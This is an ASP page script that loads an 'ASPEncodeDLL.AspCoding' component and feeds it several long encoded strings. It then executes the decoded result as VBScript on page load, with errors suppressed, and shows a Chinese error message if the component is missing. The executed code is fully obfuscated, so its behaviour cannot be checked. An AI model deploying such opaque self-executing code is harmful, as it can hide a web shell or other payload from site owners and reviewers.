<%
On Error Resume Next
Set AspCoding = Server.CreateObject("ASPEncodeDLL.AspCoding")
If Not IsObject(AspCoding) Then Response.Write "<script language='javascript'>document.write(unescape('%3CDIV%20style%3D%27FONT-SIZE%3A%2012px%3B%27%3E%3CH1%3E%3CFONT%20style%3D%27FONT-SIZE%3A16px%3B%20COLOR%3A%23ff3300%27%3E%u64CD%u4F5C%u5BF9%u8C61%u65E0%u6548%20-%20%u9519%u8BEF%20101%3C/FONT%3E%3C/H1%3E%u60A8%u6CA1%u6709%20ASPEncodeDLL.AspCoding%20%u5BF9%u8C61%u7684%u64CD%u4F5C%u6743%u9650%u6216%u8BE5%u5BF9%u8C61%u4E0D%u5B58%u5728%2C%u8BF7%u8054%u7CFB%u670D%u52A1%u5668%u7BA1%u7406%u5458%u3002%3C/DIV%3E'))</script>":Response.End
AspCoding.EnCode("BHxglikgafTIHhyhngZimgGehchbGgwimhEgZiXdyhFhEglezbZelfEhvfDhTH1IhizhahEg4ixiDfzbreUfAfng1I4bXejfkfEgngyCDfGhZdEgYfUeFhwczilivCkhFI4b5fxgXgEiFi4iliTHZg3glGjb7cAH2bUcpGCHHhACxhEgwCngTIWrdqgrAW9qRQSWA9EczH8eygACjgYfHfWIVcFd9gifVgOi4bwflg3CYgHglhygACYfaH5f6flh5cFCmhviFc7eDfUfzemhFiyhngZe8eTIpGiGGgzHaCYf")
AspCoding.EnCode("Zi3iHfWIhbBH4hjfnhGO3IwCYfmeEgae5h7fZgxhzgGh3GlI1I3IFhjflejh5h7fZgaixiGh4HkH4HHfoHWdBHnfzh6eae3Ikf3faemhTHYcZhag7fjh1I2HkgmhDfwfkeYeGhYcDCagFiEgZd2H5h5fDfvfagzgFc2bQi8ivikeXgmgciZimCngOeihwd5hlhle4H1Gmhah3hFhTh6gYfHgYckg8fjgFhxh6gZilg8ewcZhagEijhaI3iYCFh5h1I1GBbpGCHHhvfahAfFgli4bFhBg8i4iTH2bvevfZfmg")
AspCoding.EnCode("ngah3G2HkfXgkg3CTH2bYC4gDf3G4b6iZivilCmhHg2b8f6gjgyiZi3iYcHfWIgITGxhxiAfEhli1GDfThDCmhHgZdYgygvimhYc4bah3fjh4iFc4HmeygwCngjH4H3IFizCUgYfHg8cAb2HEgzCEgjgmhHgZdfQZQsQPQ5WcrkC7hXimcnevfnfxG7hxiYhzI5eae6gZojoQRXQuspQw9crAHlIAbof2bHfVbWdGgzCkfleFg8e4bDfBg7hngGh3GAgFg3gjhvf8e2b4bkfXgwi4iGh4HRf8fXfzfzCDf4H")
AspCoding.EnCode("4bEe4ejg8fYfBG2bVQOrSWyV4H4bTIoHgIPqXQMQoPUGkb6c7dCghcgIFdzHZhjf7fzfTIWIVcHhwcmiyiYeBgTIhcVcFdyIveFhvCkhBbTGIf7e7hIhzhnhxhzgmfxIhixg3flglhmhEgFcZg5e8cjbAI8cBb")
AspCoding.Run("VBSCRIPT")
Set AspCoding = Nothing
%>